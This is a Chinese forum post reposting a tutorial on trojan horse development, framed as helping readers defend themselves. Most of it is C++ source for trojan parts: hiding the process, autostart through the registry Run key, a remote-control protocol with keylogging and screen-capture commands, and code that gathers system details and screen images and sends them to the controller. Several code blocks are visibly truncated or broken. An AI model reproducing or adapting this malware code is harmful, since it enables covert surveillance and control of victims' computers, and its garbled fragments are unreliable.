主题 : 透视木马程序开发技术:病毒源代码详解
级别: 八片秋叶
UID: 9217
精华: 0
发帖: 3401
威望: 57422 点
无痕币: 4 WHB
贡献值: 0 点
在线时间: 952(时)
注册时间: 2008-01-15
最后登录: 2023-05-17

0 透视木马程序开发技术:病毒源代码详解

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。
1、木马程序的分类
木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了icmp等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入dll线程。或者挂接psapi,实现木马程序的隐藏,甚至在windows nt/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考shotgun的文章《揭开木马的神秘面纱》。
2.木马程序的隐藏技术
木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
进程:一个正常的windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的pid(progress id, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在windows nt/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下ctrl+alt+delete的时候,也就看不到这个程序。但是,这种方法只适用于windows9x的系统,对于windows nt,windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在windows nt/2000下了吗?当然还有办法,那就是api的拦截技术,通过建立一个后台的系统钩子,拦截psapi的enumprocessmodules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程id(pid)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了textouta,textoutw函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅shotgun的文章《nt系统下木马进程的隐藏与检测》。
winapi winmain(hinstance, hinstance, lpstr, int)
{
try
{
dword dwversion = getversion();//取得windows的版本号
if (dwversion >= 0x80000000) // windows 9x隐藏任务列表
{
int (callback *rsp)(dword,dword);
hinstance dll=loadlibrary("kernel32.dll");//装入kernel32.dll
rsp=(int(callback *)(dword,dword))getprocaddress(dll,"registerserviceprocess");//找到registerserviceprocess的入口
rsp(null,1);//注册服务
freelibrary(dll);//释放dll模块
}
}
catch (exception &exception)//处理异常事件
{
//处理异常事件
}
return 0;
} 
3、程序的自加载运行技术
让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的hkey_local_machine\software\microsoft\windows\currentversions\run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改hkey_local_machine\software\microsoft\windows\currentversions\run键值来实现自启动的程序:
自装载部分:
hkey hkey;
ansistring newprogramname=ansistring(sys)+ansistring("+pname/">\\")+pname
unsigned long k;
k=reg_opened_existing_key;
regcreatekeyex(hkey_local_machine,
"software\\microsoft\\windows\\currentversion\\run\\",
0l,
null,
reg_option_non_volatile,key_all_access|key_set_value,
null,
&hkey,&k);
regsetvalueex(hkey,
"backgroup",
0,
reg_sz,
newprogramname.c_str(),
newprogramname.length());
regclosekey(hkey);
if (int(shellexecute(handle,
"open",
newprogramname.c_str(),
null,
null,
sw_hide))>32)
{
wantclose=true;
close();
}
else
{
hkey hkey;
unsigned long k;
k=reg_opened_existing_key;
long a=regcreatekeyex(hkey_local_machine,
"software\\microsoft\\windows\\currentve
rsion\\run",

0,
null,
reg_option_non_volatile,
key_set_value,null,
&hkey,&k);
regsetvalueex(hkey,
"backgroup",
0,
reg_sz,
programname.c_str(),
programname.length());
int num=0;
char str[20];
dword lth=20;
dword type;
char strv[255];
dword vl=254;
dword suc;
do{
suc=regenumvalue(hkey_local_machine,
(dword)num,str,
null,
&type,
strv,&vl);
if (strcmp(str,"bgroup")==0)
{
deletefile(ansistring(strv));
regdeletevalue(hkey_local_machine,"bgroup");
break;
}
}while(suc== error_success);
regclosekey(hkey);
}
自装载程序的卸载代码:
int num;
char str2[20];
dword lth=20;
dword type;
char strv[255];
dword vl=254;
dword suc;
do{
suc=regenumvalue(hkey_local_machine,
(dword)num,
str,
null,
&type,
strv,
&vl);
if (strcmp(str,"bgroup")==0)
{
deletefile(ansistring(strv));
regdeletevalue(hkey_local_machine,"bgroup");
break;
}
}while(suc== error_success)
hkey hkey;
unsigned long k;
k=reg_opened_existing_key;
regcreatekeyex(hkey_local_machine,
"software\\microsoft\\windows\\currentversion\\run",
0,
null,
reg_option_non_volatile,
key_set_value,null,
&hkey,
&k);
do{
suc=regenumvalue(hkey,(dword)num,str,if (strcmp(str,"backgroup")==0)
{
deletefile(ansistring(strv));
regdeletevalue(hkey_local_machine,"backgroup");
break;
}
}while(suc== e
rror_success)

regclosekey(hkey);
其中自装载部分使用c++ builder可以这样写,会比较简化:
tregistry & regkey = *new tregistry();
regkey.rootkey=hkey_local_machine;
regkey.openkey("software\\microsoft\\windows\\currentversion\\run",true);
if(!regkey.valueexists("interbase server"))
{
regkey.writestring("interbase server",
"d:\\program files\\borland\\intrbase\\bin\\ibserver.exe");
}
regkey.closekey();
delete ®key;

  

4、木马程序的建立连接的隐藏
木马程序的数据传递方法有很多种,其中最常见的要属tcp,udp传输数据的方法了,通常是利用winsock与目标机的指定端口建立起连接,使用send和recv等api进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动tcp,udp连接。
c:\documents and settings\bigball>netstat -n
active connections
proto local address foreign address state
tcp 192.0.0.9:1032 64.4.13.48:1863 established
tcp 192.0.0.9:1112 61.141.212.95:80 established
tcp 192.0.0.9:1135 202.130.239.223:80 established
tcp 192.0.0.9:1142 202.130.239.223:80 established
tcp 192.0.0.9:1162 192.0.0.8:139 time_wait
tcp 192.0.0.9:1169 202.130.239.159:80 established
tcp 192.0.0.9:1170 202.130.239.133:80 time_wait
c:\documents and settings\bigball>netstat -a
active connections
proto local address foreign address state
tcp liumy:echo liumy:0 listening
tcp liumy:discard liumy:0 listening
tcp liumy:daytime liumy:0 listening
tcp liumy:qotd liumy:0 listening
tcp liumy:chargen liumy:0 listening
tcp liumy:epmap liumy:0 listening
tcp liumy:microsoft-ds liumy:0 listening
tcp liumy:1025 liumy:0 listening
tcp liumy:1026 liumy:0 listening
tcp liumy:1031 liumy:0 listening
tcp liumy:1032 liumy:0 listening
tcp liumy:1112 liumy:
0 listening

tcp liumy:1135 liumy:0 listening
tcp liumy:1142 liumy:0 listening
tcp liumy:1801 liumy:0 listening
tcp liumy:3372 liumy:0 listening
tcp liumy:3389 liumy:0 listening
tcp liumy:netbios-ssn liumy:0 listening
tcp liumy:1028 liumy:0 listening
tcp liumy:1032 msgr-ns19.msgr.hotmail.com:1863 estab
tcp liumy:1112 szptt61.141.szptt.net.cn:http establi
tcp liumy:1135 202.130.239.223:http established
tcp liumy:1142 202.130.239.223:http established
tcp liumy:1162 w3i:netbios-ssn time_wait
tcp liumy:1170 202.130.239.133:http time_wait
tcp liumy:2103 liumy:0 listening
tcp liumy:2105 liumy:0 listening
tcp liumy:2107 liumy:0 listening
udp liumy:echo *:*
udp liumy:discard *:*
udp liumy:daytime *:*
udp liumy:qotd *:*
udp liumy:chargen *:*
udp liumy:epmap *:*
udp liumy:snmp *:*
udp liumy:microsoft-ds *:*
udp liumy:1027 *:*
udp liumy:1029 *:*
udp liumy:3527 *:*
udp liumy:4000 *:*
udp liumy:4001 *:*
udp liumy:1033 *:*
udp liumy:1148 *:*
udp liumy:netbios-ns *:*
udp liumy:netbios-dgm *:*
udp liumy:isakmp *:*
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个tcp或者udp连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的http,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用icmp(internet control message protocol)协议进行数据的发送,原理是修改icmp头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用icmp可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为icmp不同于tcp,udp,icmp工作于网络的应用层不使用tcp协议。
5、发送数据的组织方法
关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{ //定义消息结构
//char ip[20];
char type; //消息种类
char password[20]; //密码
int cnum; //消息操作号
//int length; //消息长度
}msg;
#define msglen sizeof(msg)
//-------------------------------------------
//对话框数据包定义:dlg_msg_type.h
//-------------------------------------------
//定义如下消息类型:
#define msgdlgcommon 4//连接事件
#define msgdlgsend 5//发送完成事件
//消息结构
typedef struct{
char name[20];//对话框标题
char msg[256];//对话框消息内容
}msgdlguint;
#define msgdlglen sizeof(msgdlguint)//消息单元长度
//------------------------------------------
//聊天数据包定义:chat_msg_type.h
//------------------------------------------
//定义如下消息类型:
#define msgchatcommon 0//连接事件
#define msgchatconnect 1//接入事件
#define msgchatescept 2//结束事件
#define msgchatreceived 16//确认对话内容收到
//消息结构
typedef struct{
char clientname[20];//client自定义的名称
char msg[256];//发送的消息
}msgchatuint;
#define msgchatlen sizeof(msgchatuint)//消息单元长度
//------------------------------------------
//重启数据包定义:reboot_msg_type.h
//------------------------------------------
//定义如下消息类型:
#define msgreboot 15//重启事件
//------------------------------------------
//目录结构请求数据包定义:dir_msg_type.h
//------------------------------------------
//定义如下消息类型:
#define msggetdirinfo 17
#define msgreceivegetdirinfo 18
typedef struct{
char dir[4096];//你要的目录名
}msgdiruint;
#define msgdiruintlen sizeof(msgdiruint)
// tcp的msg
typedef struct{ //定义消息结构
char stype; //消息种类
char spassword[20]; //密码
//int snum; //消息操作号
char *allmsg;
}smsg
#define smsglen sizeof(smsg)
#define msglistprogram 19
#define msgflymouse 21
#define msggowithmouse 22
#define msgsavekey 23
#define msgtracekey 24
#define msgcopyscreen 25//tcp接收消息,udp请求消息
#define msgcopywindow 26
//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define msgsetmousestat 27//设置消息
#define msgmousestat 28//成功消息
typedef struct{
bool mouseshow;
}msgsetmousestatuint;
#define msgsetmousestatuintlen sizeof(msgsetmousestatuint)
//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define msgsettaskbarstat 29//设置消息
#define msgtaskbarstat 30//成功消息
typedef struct{
bool taskshow;
}msgsettaskbarstatuint;
#define msgsettaskbarstatuintlen sizeof(msgsettaskbarstatuint)
//-------------------------
//得到机器名
//-------------------------
#define msggetnetbiosname 31//取请求
#define msgnetbiosname 32//回送机器名
typedef struct{
char netbiosname[128];
}msgnetbiosnameuint;
#define msgnetbiosnameuintlen sizeof(msgnetbiosnameuint)
//-------------------------
//关闭进程变更!
//-------------------------
#define msgsetprogramclose 33//关闭请求
#define msgprogramclosed 34//成功消息-----
typedef struct{
char programname[4096];//old struct : char programname[128];//要关闭的窗口的名字
}msgsetprogramcloseuint;
#define msgsetprogramcloseuintlen sizeof(msgsetprogramcloseuint)
//-------------------------
//打开进程变更!
//-------------------------
#define msgsetprogramopen 20//打开请求
#define msgprogramopened 36//成功消息
typedef struct{
char programname[4096]; //old struct : char programname[128];//要打开的程序的名字

bool programshow;//前台运行或后台运行程序(隐藏运行)
}msgsetprogramopenuint;
#define msgsetprogramopenuintlen sizeof(msgsetprogramopenuint)
#define msggethardware 35//请求硬件信息(udp消息)和回传硬件信息(tcp消息)
上面一段定义,使用了tcp和udp两种协议目的就是为了减少tcp连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。snum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的oicq也正是使用了这一办法来校验消息的。
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个void类型的数据流,然后发送:
msg *msg=new msg;
tmemorystream *rdata=new tmemorystream;
nmudp1->readstream(rdata);
rdata->read(msg,sizeof(msg));
udpconnect *udpconnect=new udpconnect;
netbiosname *netbiosname=new netbiosname;
if(msg->cnum==cnumbak)
return;
else{
cnumbak=msg->cnum;
switch(msg->type)
{
case 0://msgudpconnect
rdata->read(udpconnect,sizeof(udpconnect));
checkuser(udpconnect->isright);
break;
case 1:
rdata->read(netbiosname,sizeof(netbiosname));
ansistring jqm="机器名 ";
jqm+=(ansistring)netbiosname->netbiosname;
memo2->lines->add(jqm);
break;
}
}
当服务器端收到数据后,首先要做的工作是解包还原void流为结构化的协议,这里同样给出事例代码:
nmudp1->remotehost=fromip;
nmudp1->remoteport=port;
tmemorystream *rdata=new tmemorystream;
nmudp1->readstream(rdata);
msg *msg=new msg;
rdata->read(msg,sizeof(msg));
if(msg->cnum==cnumbak)
return;
else
{
cnumbak=msg->cnum;
switch(msg->type)
{
case 0:
checkuser(msg->password);
break;
case 1:
getnetbiosname();
break;
case 2:
checkhard();
break;
}
}
此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

#define maxxcount 10 //屏幕x方向最多分割块数
#define maxycount 5 //... y................
#define destnum 1000 //每块的偏移检测点最大个数
colorref colors[maxxcount][maxycount][destnum];
colorref bakcolors[maxxcount]{maxycount][destnum];
tpoint dests[destnum];
int sw;
int sh;
int xcount;
int ycount;
int itemwidth;
int itemheight;
int dnum;
int qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 dnum ,qlity
//dnum:偏移观测点数量
//qlity:图象要求质量
__fastcall tform1::copyscreen(int dnum,int qlity){
itemwidth=sw/xcount;
itemheight=sh/ycount;
sw=screen->width;
sh=screen->height;
xcount=(sw>1000)?8:6;
ycount=(sh>1000)?3:2;
for (int num1=0;num1 dests[num1].x=random(itemwidth);
dests[num1].y=random(itemheight);
}
catchscreen(dnum,qlity);
}
//收到刷屏消息后只执行:
catchscreen(dnum,qlity);
__fastcall tform1::catchscreen(int dnum,int qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//dnum: 偏移量 qlity:图象质量
hdc dc=getdc(getdesktopwindow());
graphics::tbitmap *bm=new graphics::tbitmap;
bm->width=sw;
bm->height=sh;
bitblt(bm->canvas->handle,0,0,sw-1,sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool change;
bool itemchange[maxxcount][maxycount];
for (num1=0;num1 nowx=itemwidth*num1;
for (num2=0;num2 nowy=itemheight*num2;
change=false;
for (num3=0;num3 colors[num1][num2][num3]=bm->canvas->pixels[nowx+dests[num3].x][nowy+dests[num3].y];
if (colors[num1][num2][num3]!=bakcolors[num1][num2][num3]){
bakcolors[num1][num2][num3]=colors[num1]
[num2][num3];

itemchange[num1][num2]=true;
}
}
}
}
int cnum,maxcnum;
int changednum=0;
trect *rect;
int num4;
int minsize=10000;
int m;
trect minrect;
graphics::tbitmap *bt2=new graphics::tbitmap;
tjpegimage *j=new tjpegimage;
//************************
j->quality=qlity;
//************************
copyscreenuint copyscreen;
copyscreenitemuint copyscreenitem;
tmemorystream *ms=new tmemorystream;
ms->write(&tcpmsg,sizeof(tcpmsguint));
ms->write(&copyscreen,sizeof(copyscreenuint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xcount;num3++){
maxcnum=0;
for (num4=num2+1;num4<=ycount;num4++){ //遍历所有矩形
cnum=getchangednum(trect(num1,num2,num3,num4));
if (cnum>maxcnum) maxcnum=cnum;
m=(num3-num1)*(num4-num2);
if (2*m-cnum minsize=2*m-cnum;
minrect=trect(num1,num2,num3,num4);
}
}
}
tmemorystream *ms;
bitblt(bt2->canvas->handle,0,0,itemwidth-1,itemheight-1,bt->canvas->handle,0,0);
j->assign(bt2);
j->savetostream(ms2);
copyscreenitem.rect=trect(num1,num2,num3,num4);
copyscreenitem.filetype=jpegfile; //jpegfile 定义为:#define jpegfile 1
ms2->position=0;
copyscreenitem.length=ms2->size;
ms->write(&copyscreenitem,sizeof(screenitemuint));
ms->copyfrom(ms2,ms2->size);
changednum++;
}while(maxcnum>0);
tcpmsg.type=msgcopyscreen;
ms->position=0;
tcpmsg.length=ms->size-sizeof(tcpmsguint);
copyscreen.count=changednum;
ms->write(&tcpmsg,sizeof(tcpmsguint));
ms->write(&copyscreen,sizeof(copyscreenuint));

ms->position=0;
sock->sendstream(ms);
}
这个程序把屏幕画面切分为了多个部分,并存储画面为jpg格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。
6、目标机器情况的获取
相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的api,这一点上是和应用程序很相像的。
ansistring cs;
file *fp;
fp=fopen("temp.had","w+");
//todo: add your source code here
//获得cpu型号
system_info systeminfo;
getsysteminfo (&systeminfo);
cs="cpu类型是:"+string(systeminfo.dwprocessortype)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
memorystatus memory;
memory.dwlength =sizeof(memory); //初始化
globalmemorystatus(&memory);
cs="物理内存是(mb):"+string(int(memory.dwtotalphys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
cs="可用内存是(kb):"+string(int( memory.dwavailphys/1024))+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
dword sector,byte,cluster,free;
long int freespace,totalspace;
uint type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—cd-rom、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
dword sno,maxl,fileflag ;
for (name=‘a‘;name<=‘z‘;name++) {//循环检测a~z
type = getdrivetype(ansistring(ansistring(name)+‘:‘).c_str()); //获得磁盘类型
if(type==0){
cs="未知类型磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if(type==2){
cs="可移动类型磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if(type==3){
cs="固定磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if(type==4) {
cs="网络映射磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if (type==5){
cs="光驱:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
else if (type==6){
cs="内存虚拟磁盘:"+string(name)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
if(getvolumeinformation((string(name)+string(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){
cs=string(name)+"盘卷标为:"+string(volname)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
cs=string(name)+"盘序号为:"+string(sno)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
getdiskfreespace((string(name)+string(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
cs=string(name)+string(‘:‘)+"盘总空间(mb):"+ansistring(totalspace)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
cs=string(name)+string(‘:‘)+"盘可用空间(mb):"+ansistring(freespace)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
}
int wavedevice,mididevice;
waveoutcaps wavecap;
midioutcaps midicap;
wavedevice=(int)waveoutgetnumdevs(); //波形设备信息
mididevice=(int)midioutgetnumdevs(); // midi设备信息
if (wavedevice!=0){
waveoutgetdevcaps(0,&wavecap,sizeof(waveoutcaps));
cs="当前波形设备:"+string(wavecap.szpname)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
if (mididevice!=0){
midioutgetdevcaps(0,&midicap,sizeof(midioutcaps));
cs="当前midi设备:"+string(midicap.szpname)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+string(screen->width)+ansistring("*")+ string(screen->height)+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
bpp=getdevicecaps(canvas->handle ,bitspixel);

tcs=pow(2,bpp); //计算色彩的梯度数
cp= getdevicecaps(form1->canvas->handle,planes);
tc= pow(double(tcs),double(cp)); //计算色深
ansistring sss;
sss=bpp;
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.length(),1,fp);
fclose(fp);
ansistring filename="temp.had";
char *buf;
tcpmsguint msg2;
strcpy(msg2.tpassword,password);
tmemorystream *ms=new tmemorystream;
ms->clear();
if (!fileexists(filename)) checkhard();
tfilestream *fs=new tfilestream(filename,fmopenread);
buf=new char[fs->size+sizeof(tcpmsguint)+1];
fs->read(buf,fs->size);
msg2.type=msggethardware;
msg2.length=fs->size;
fileclose(fs->handle);
ms->write(&msg2,sizeof(tcpmsguint));
ms->write(buf,msg2.length);
ms->position=0;
delete buf;
try{
sock->sendstream(ms);
}
catch(exception&e) {
}
}
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入windows的命令行模式下做如下操作
1)c:\>copy server.exe server.bak
2)建立一个文本文件test.txt,其内容为“http://www.patching.net
3)c:\>type text.txt>>server.exe
4)运行server.exe
怎么样?是不是发现server.exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个exe文件,这个exe文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数n个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。
8、总结
以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。
绝望是最完美的期待,期待是最漫长的绝望
Total 0.040390(s) query 3, Time now is:05-04 00:23, Gzip enabled 粤ICP备07514325号-1
Powered by PHPWind v7.3.2 Certificate Code © 2003-13 秋无痕论坛